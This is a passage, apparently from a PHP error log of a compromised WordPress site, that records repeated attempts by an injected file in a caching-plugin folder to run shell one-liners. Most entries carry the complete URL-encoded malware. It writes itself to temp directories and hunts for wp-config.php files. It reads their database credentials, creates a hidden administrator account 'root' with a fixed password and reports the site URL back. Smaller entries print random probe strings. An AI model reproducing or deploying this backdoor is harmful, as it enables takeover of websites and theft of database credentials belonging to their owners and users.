C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.sys&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[08-Nov-2025 20:50:00 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dbx_convert on line 1
[09-Nov-2025 17:00:31 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.ob_iconv_handle&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[11-Nov-2025 05:15:09 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22iIVvCyNzHgYB%22.%22bNXzcCuIQuNdIhvnW%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.class&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[11-Nov-2025 15:06:19 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22XRnEoKXrjuNF%22.%22WisulFSRBSIw%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.ibase_pconnection&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[11-Nov-2025 15:06:20 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22vFidPFTqEk%22.%22BfibCSqLIWkQWBdBas%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.requests&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[11-Nov-2025 15:06:23 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22kHSMfefQywewaWVveQr%22.%22awiPNXyHBl%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.system&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[11-Nov-2025 15:06:26 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22CWulPuqLriYr%22.%22pYRbCdMRAfluD%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.config&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[11-Nov-2025 15:07:41 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 1
[11-Nov-2025 16:57:09 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%